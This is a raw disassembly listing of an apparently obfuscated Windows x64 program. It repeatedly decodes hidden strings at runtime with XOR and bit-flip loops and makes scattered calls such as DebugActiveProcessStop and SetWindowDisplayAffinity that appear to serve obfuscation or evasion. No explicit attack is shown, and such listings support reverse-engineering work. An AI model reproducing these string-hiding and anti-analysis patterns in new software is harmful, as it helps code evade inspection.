movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x47]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027f406
inc dl
cmp dl, 4
jne 0x14027f3f0
jmp 0x14027f415
movsx ecx, r10b
movzx eax, byte [r9 + 0x4a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f434
inc cl
cmp cl, 8
jne 0x14027f422
jmp 0x14027f443
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x49]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f462
inc cl
cmp cl, 5
jne 0x14027f450
jmp 0x14027f471
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x48]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x46]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x11
jne 0x14027f3c0
lea rdx, [r9 + 0x33]
lea rcx, [rbp + 0x3e80]
call fcn.140086d40
nop
lea rax, [rbp + 0x3e20]
mov qword [rbp + 0x590], rax
lea rax, [rbp + 0x3ea0]
mov qword [rbp + 0x598], rax
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x5a0]
call fcn.1402ac810
nop
movzx eax, byte [r13 + r15*4 + 0x3d]
mov byte [rbp + 0x4eb0], al
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x4eb8]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x6b], al
lea rdx, [rbp + 0x3f20]
lea rcx, [rsp + 0x6b]
call fcn.140275130
mov r9, rax
mov byte [rax + 0x78], 0
mov r11d, r12d
lea r8, [rax + 0x5a]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x7b]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027f556
inc dl
cmp dl, 4
jne 0x14027f540
jmp 0x14027f565
movsx ecx, r10b
movzx eax, byte [r9 + 0x7e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f584
inc cl
cmp cl, 8
jne 0x14027f572
jmp 0x14027f593
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x7d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f5b2
inc cl
cmp cl, 5
jne 0x14027f5a0
jmp 0x14027f5c1
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x7c]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x7a]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x1e
jne 0x14027f510
lea rdx, [r9 + 0x5a]
lea rcx, [rbp + 0x3040]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x6c], al
lea rdx, [rbp + 0x11a0]
lea rcx, [rsp + 0x6c]
call fcn.140275200
mov r9, rax
mov byte [rax + 0x2c], 0
mov r11d, r12d
lea r8, [rax + 0x21]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x2f]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
nop
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027f656
inc dl
cmp dl, 4
jne 0x14027f640
jmp 0x14027f665
movsx ecx, r10b
movzx eax, byte [r9 + 0x32]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f684
inc cl
cmp cl, 8
jne 0x14027f672
jmp 0x14027f693
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x31]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f6b2
inc cl
cmp cl, 5
jne 0x14027f6a0
jmp 0x14027f6c1
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x30]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x2e]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0xb
jne 0x14027f610
lea rdx, [r9 + 0x21]
lea rcx, [rbp + 0x3060]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x6d], al
lea rdx, [rbp + 0x77a0]
lea rcx, [rsp + 0x6d]
call fcn.140275260
mov r9, rax
mov byte [rax + 0x1c4], 0
mov r11d, r12d
lea r8, [rax + 0x153]
nop dword [rax]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x1c7]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027f767
inc dl
cmp dl, 4
jne 0x14027f751
jmp 0x14027f779
movsx ecx, r10b
movzx eax, byte [r9 + 0x1ca]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f798
inc cl
cmp cl, 8
jne 0x14027f786
jmp 0x14027f7aa
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x1c9]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f7c3
inc cl
cmp cl, 5
jne 0x14027f7b1
jmp 0x14027f7d5
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x1c8]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x1c6]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x71
jne 0x14027f720
lea rdx, [r9 + 0x153]
lea rcx, [rbp + 0x3080]
call fcn.140086d40
nop
lea rax, [rbp + 0x3040]
mov qword [rbp + 0x5b0], rax
lea rax, [rbp + 0x30a0]
mov qword [rbp + 0x5b8], rax
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x5c0]
call fcn.1402ac810
nop
movzx eax, byte [r13 + r15*4 + 0x3e]
mov byte [rbp + 0x4ec8], al
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x4ed0]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x6e], al
lea rdx, [rbp + 0x80a0]
lea rcx, [rsp + 0x6e]
call fcn.140275610
mov r9, rax
mov byte [rax + 0x2a8], 0
mov r11d, r12d
lea r8, [rax + 0x1fe]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x2ab]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027f8c7
inc dl
cmp dl, 4
jne 0x14027f8b1
jmp 0x14027f8d9
movsx ecx, r10b
movzx eax, byte [r9 + 0x2ae]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f8f8
inc cl
cmp cl, 8
jne 0x14027f8e6
jmp 0x14027f90a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x2ad]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027f923
inc cl
cmp cl, 5
jne 0x14027f911
jmp 0x14027f935
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x2ac]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x2aa]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0xaa
jne 0x14027f880
lea rdx, [r9 + 0x1fe]
lea rcx, [rbp + 0xd80]
call fcn.140086d40
nop
lea rax, [rbp + 0xd80]
mov qword [rbp + 0x5d0], rax
lea rax, [rbp + 0xda0]
mov qword [rbp + 0x5d8], rax
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x5e0]
call fcn.1402ac810
nop
movzx eax, byte [r13 + r15*4 + 0x3f]
mov byte [rbp + 0x4ee0], al
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x4ee8]
call fcn.1402ae0f0
nop
xor eax, eax
mov byte [rsp + 0x6f], al
lea rdx, [rbp + 0x5cf0]
lea rcx, [rsp + 0x6f]
call fcn.140275bb0
mov r9, rax
mov byte [rax + 0xe4], 0
mov r11d, r12d
lea r8, [rax + 0xab]
nop dword [rax]
nop word [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xe7]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027fa37
inc dl
cmp dl, 4
jne 0x14027fa21
jmp 0x14027fa49
movsx ecx, r10b
movzx eax, byte [r9 + 0xea]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027fa68
inc cl
cmp cl, 8
jne 0x14027fa56
jmp 0x14027fa7a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xe9]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027fa93
inc cl
cmp cl, 5
jne 0x14027fa81
jmp 0x14027faa5
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xe8]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xe6]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x39
jne 0x14027f9f0
lea rdx, [r9 + 0xab]
lea rcx, [rbp + 0x1980]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x70], al
lea rdx, [rbp + 0x6be0]
lea rcx, [rsp + 0x70]
call fcn.140275d70
mov r9, rax
mov byte [rax + 0x140], 0
mov r11d, r12d
lea r8, [rax + 0xf0]
nop
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x143]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027fb47
inc dl
cmp dl, 4
jne 0x14027fb31
jmp 0x14027fb59
movsx ecx, r10b
movzx eax, byte [r9 + 0x146]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027fb78
inc cl
cmp cl, 8
jne 0x14027fb66
jmp 0x14027fb8a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x145]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027fba3
inc cl
cmp cl, 5
jne 0x14027fb91
jmp 0x14027fbb5
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x144]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x142]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x50
jne 0x14027fb00
lea rdx, [r9 + 0xf0]
lea rcx, [rbp + 0x19a0]
call fcn.140086d40
nop
lea rax, [rbp + 0x1980]
mov qword [rbp + 0x5f0], rax
lea rax, [rbp + 0x19c0]
mov qword [rbp + 0x5f8], rax
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp + 0x600]
call fcn.1402ac810
nop
movzx eax, byte [r13 + r15*4 + 0x40]
mov byte [rbp + 0x4ef8], al
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x4f00]
call fcn.1402ae0f0
nop
lea rax, [rbp + 0x4e50]
mov qword [rbp + 0x610], rax
lea rax, [rbp + 0x4f10]
mov qword [rbp + 0x618], rax
lea r8, [rsp + 0x71]
lea rdx, [rbp + 0x610]
lea rcx, [0x1403d2e38]
call fcn.1402aca50
nop
lea r9, [fcn.140276590]
mov edx, Ordinal_27
lea r8d, [rdx - 0x10]
lea rcx, [rbp + 0x4e50]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x600]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov ebx, 2
mov r8d, ebx
lea edx, [rbx + 0x1e]
lea rcx, [rbp + 0x1980]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x5e0]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
lea edx, [rbx + 0x1e]
lea r8d, [rbx - 1]
lea rcx, [rbp + 0xd80]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x5c0]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
lea edx, [rbx + 0x1e]
lea r8d, [rbx + 1]
lea rcx, [rbp + 0x3040]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x5a0]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
lea edx, [rbx + 0x1e]
lea r8d, [rbx + 2]
lea rcx, [rbp + 0x3e20]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x580]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov r8d, ebx
lea edx, [rbx + 0x1e]
lea rcx, [rbp + 0x1940]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x560]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
lea edx, [rbx + 0x1e]
lea r8d, [rbx + 2]
lea rcx, [rbp + 0x3da0]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x540]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov r8d, ebx
lea edx, [rbx + 0x1e]
lea rcx, [rbp + 0x18c0]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x520]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
lea edx, [rbx + 0x1e]
lea r8d, [rbx - 1]
lea rcx, [rbp + 0xd60]
call fcn.140313ca0
lea rcx, [0x1403587f0]
call fcn.140313c88
nop
lea rcx, [0x1403d2e30]
call fcn.140313dac
jmp 0x14027fde4
xor r12d, r12d
cmp dword [r13 + r15*4 + 0x48], 1
jle 0x14028040a
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rsp + 0x72], al
lea rdx, [rbp + 0x5a40]
lea rcx, [rsp + 0x72]
call fcn.140275ff0
mov r9, rax
mov word [rax + 0xd0], r12w
mov r11d, r12d
lea r10, [rax + 0x9c]
nop word [rax + rax]
lea edi, [r11 + r11*2]
movzx edx, word [r9 + rdi*2]
mov word [r10], dx
movzx eax, r11w
add ax, ax
lea esi, [rax + r11]
movzx r8d, byte [r9 + 0xd4]
add r8w, si
xor r8w, dx
mov word [r10], r8w
xor dl, dl
lea eax, [rdi + 1]
movzx ebx, word [r9 + rax*2]
nop word [rax + rax]
movzx ecx, dl
movzx eax, bx
shr ax, cl
test al, 1
jne 0x14027fe86
inc dl
cmp dl, 4
jne 0x14027fe70
jmp 0x14027fe9a
movzx r8d, r8w
movzx eax, byte [r9 + 0xd7]
btc r8d, eax
mov word [r10], r8w
mov cl, 5
lea eax, [rdi + 2]
mov ebx, eax
movzx edx, word [r9 + rax*2]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x14027feb9
inc cl
cmp cl, 8
jne 0x14027fea6
jmp 0x14027fed0
movzx ecx, r8w
movzx eax, byte [r9 + 0xd6]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
xor cl, cl
movzx edx, word [r9 + rbx*2]
nop word [rax + rax]
movzx eax, dx
shr ax, cl
test al, 1
jne 0x14027fef3
inc cl
cmp cl, 5
jne 0x14027fee0
jmp 0x14027ff0a
movzx ecx, r8w
movzx eax, byte [r9 + 0xd5]
btc ecx, eax
movzx r8d, cx
mov word [r10], cx
movzx eax, byte [r9 + 0xd3]
add ax, si
xor ax, r8w
mov word [r10], ax
inc r11d
add r10, 2
cmp r11d, 0x1a
jne 0x14027fe30
lea rdx, [r9 + 0x9c]
lea rcx, [rbp + 0x8390]
call fcn.1400856c0
nop
cmp qword [rbp + 0x83a0], 0
je 0x14028013e
xor eax, eax
mov byte [rsp + 0x73], al
lea rdx, [rbp + 0x62e0]
lea rcx, [rsp + 0x73]
call fcn.140276170
mov r9, rax
mov byte [rax + 0x104], 0
mov r11d, r12d
lea r8, [rax + 0xc3]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x107]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x14027ffc7
inc dl
cmp dl, 4
jne 0x14027ffb1
jmp 0x14027ffd9
movsx ecx, r10b
movzx eax, byte [r9 + 0x10a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x14027fff8
inc cl
cmp cl, 8
jne 0x14027ffe6
jmp 0x14028000a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x109]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140280023
inc cl
cmp cl, 5
jne 0x140280011
jmp 0x140280035
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x108]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x106]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x41
jne 0x14027ff80
lea rdx, [r9 + 0xc3]
lea rcx, [rbp + 0x19c0]
call fcn.140086d40
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x8390]
call fcn.140076250
mov rbx, qword [rax]
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x8390]
call fcn.140076270
lea r9, [rsp + 0x74]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x19e0]
call fcn.140065090
nop
lea rax, [rbp + 0x19c0]
mov qword [rbp + 0x620], rax
lea rax, [rbp + 0x1a00]
mov qword [rbp + 0x628], rax
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x630]
call fcn.1402ac810
nop
movzx eax, byte [r13 + r15*4 + 0x41]
mov byte [rbp + 0xae0], al
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0xae8]
call fcn.1402ae0f0
nop
lea rdx, [rbp + 0xae0]
lea rcx, [0x1403d2e38]
call fcn.1402adfb0
nop
lea rcx, [rbp + 0xae8]
call fcn.1402ac7a0
nop
lea rcx, [rbp + 0x630]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x19c0]
call fcn.140313ca0
xor eax, eax
mov byte [rsp + 0x75], al
lea rdx, [rbp + 0x3600]
lea rcx, [rsp + 0x75]
call fcn.140276370
mov r9, rax
mov byte [rax + 0x80], 0
mov r11d, r12d
lea r8, [rax + 0x60]
nop word [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0x83]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402801b7
inc dl
cmp dl, 4
jne 0x1402801a1
jmp 0x1402801c9
movsx ecx, r10b
movzx eax, byte [r9 + 0x86]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402801e8
inc cl
cmp cl, 8
jne 0x1402801d6
jmp 0x1402801fa
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x85]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140280213
inc cl
cmp cl, 5
jne 0x140280201
jmp 0x140280225
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0x84]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0x82]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x20
jne 0x140280170
lea rdx, [r9 + 0x60]
lea rcx, [rbp + 0x1a00]
call fcn.140086d40
nop
xor eax, eax
mov byte [rsp + 0x76], al
lea rdx, [rbp + 0x4fd0]
lea rcx, [rsp + 0x76]
call fcn.140276450
mov r9, rax
mov byte [rax + 0xac], 0
mov r11d, r12d
lea r8, [rax + 0x81]
nop dword [rax + rax]
lea esi, [r11 + r11*2]
movzx edx, byte [rsi + r9]
mov byte [r8], dl
movzx eax, r11b
add al, al
lea ebx, [rax + r11]
movzx r10d, bl
add r10b, byte [r9 + 0xaf]
xor r10b, dl
mov byte [r8], r10b
xor dl, dl
lea eax, [rsi + 1]
movzx edi, byte [rax + r9]
movzx eax, dil
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402802c7
inc dl
cmp dl, 4
jne 0x1402802b1
jmp 0x1402802d9
movsx ecx, r10b
movzx eax, byte [r9 + 0xb2]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rsi + 2]
mov r10d, eax
movzx edx, byte [rax + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402802f8
inc cl
cmp cl, 8
jne 0x1402802e6
jmp 0x14028030a
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xb1]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r10 + r9]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140280323
inc cl
cmp cl, 5
jne 0x140280311
jmp 0x140280335
movsx ecx, byte [r8]
movzx eax, byte [r9 + 0xb0]
btc ecx, eax
mov byte [r8], cl
add bl, byte [r9 + 0xae]
xor byte [r8], bl
inc r11d
inc r8
cmp r11d, 0x2b
jne 0x140280280
lea rdx, [r9 + 0x81]
lea rcx, [rbp + 0x1a20]
call fcn.140086d40
nop
lea rax, [rbp + 0x1a00]
mov qword [rbp + 0x640], rax
lea rax, [rbp + 0x1a40]
mov qword [rbp + 0x648], rax
lea rdx, [rbp + 0x640]
lea rcx, [rbp + 0x650]
call fcn.1402ac810
nop
movzx eax, byte [r13 + r15*4 + 0x42]
mov byte [rbp + 0xaf8], al
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0xb00]
call fcn.1402ae0f0
nop
lea rdx, [rbp + 0xaf8]
lea rcx, [0x1403d2e38]
call fcn.1402adfb0
nop
lea rcx, [rbp + 0xb00]
call fcn.1402ac7a0
nop
lea rcx, [rbp + 0x650]
call fcn.1402ac7a0
nop
lea r9, [fcn.1400870d0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x1e]
lea rcx, [rbp + 0x1a00]
call fcn.140313ca0
nop
lea rcx, [rbp + 0x8390]
call fcn.140085e10
mov rcx, qword [0x1403d2e40]
sub rcx, qword [0x1403d2e38]
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov dword [r13 + r15*4 + 0x54], edx
xor edx, edx
lea rcx, [0x1403d2e38]
call fcn.1402ac950
mov rbx, rax
movss xmm0, dword [rax]
call fcn.1403268e8
movaps xmm6, xmm0
xor eax, eax
mov byte [rsp + 0x77], al
lea rdx, [rbp + 0x1a8]
lea rcx, [rsp + 0x77]
call fcn.1402715b0
mov r9, rax
mov r8d, dword [rax + 4]
movzx ecx, byte [rax + 0xa]
mov edx, r8d
shr edx, cl
test dl, 1
je 0x140280490
movzx ecx, byte [rax]
inc cl
mov edx, r8d
shr edx, cl
test dl, 1
jne 0x1402804c7
movzx ecx, byte [rax]
lea eax, [rcx + 2]
movzx edx, al
bt r8d, ecx
setae cl
bt r8d, edx
setae al
test al, cl
je 0x1402804c7
movzx ecx, byte [r9 + 8]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402804c7
movzx ecx, byte [r9 + 9]
shr r8d, cl
test r8b, 1
je 0x1402804f0
comiss xmm7, xmm6
jbe 0x1402804f0
xorps xmm2, xmm2
cvtss2sd xmm2, xmm6
lea rdx, [rbx + 0x48]
movq r8, xmm2
lea rcx, [0x140375eb0]
call fcn.1402ae6e0
mov rbx, r12
jmp 0x140280630
call qword [sym.imp.KERNEL32.dll_GetACP]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x14028051b
mov edx, edi
lea rcx, [0x140375eb8]
call fcn.1402ae6e0
jmp 0x14028054d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140280542
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
jmp 0x14028054d
mov ecx, 4
call qword [sym.imp.USER32.dll_SetDebugErrorLevel]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
mov rcx, qword [rbx + 0x2a8]
call qword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [rbx + 0xe0c]
mov dword [rsp + 0x30], eax
mov eax, dword [rbx + 0xe18]
mov dword [rsp + 0x28], eax
mov eax, dword [rbx + 0xe14]
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowPos]
test eax, eax
je 0x1402805b2
mov edx, 1
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetWindowDisplayAffinity]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
mov r9, rbx
lea r8, [0x140271540]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x140280630
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov edx, dword [rbx + 0xd0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [rbx + 0x160]
call qword [sym.imp.USER32.dll_ShowCursor]
call qword [sym.imp.USER32.dll_GetShellWindow]
mov qword [rbx + 0x780], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x818]
test rcx, rcx
je 0x140280629
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x818], r12
movss xmm0, dword [0x140398d54]
ucomiss xmm0, dword [rbx]
jp 0x140280644
jne 0x140280644
mov r15, r12
jmp 0x1402806a2
mov r8d, 1
mov edx, r12d
mov r10d, dword [rbx + 0x90]
test r10d, r10d
jle 0x140280694
nop dword [rax]
mov r9d, r12d
test edx, edx
jle 0x14028068d
nop word [rax + rax]
bt r9d, 0
lea eax, [rdx + 1]
cmovae eax, edx
mov edx, eax
lea rax, [r8 + 0x18]
cmovae r8, rax
inc r9d
cmp r9d, edx
jl 0x140280670
inc edx
cmp edx, r10d
jl 0x140280660
mov rax, qword [r8 + rbx + 0x148]
mov rcx, qword [rax]
mov r15, qword [rcx]
movss xmm0, dword [r15]
call fcn.1403268e8
movaps xmm6, xmm0
xor eax, eax
mov byte [rsp + 0x78], al
lea rdx, [rbp + 0x1b4]
lea rcx, [rsp + 0x78]
call fcn.1402715d0
mov r9, rax
mov r8d, dword [rax + 4]
movzx ecx, byte [rax + 0xa]
mov edx, r8d
shr edx, cl
test dl, 1
je 0x1402806ea
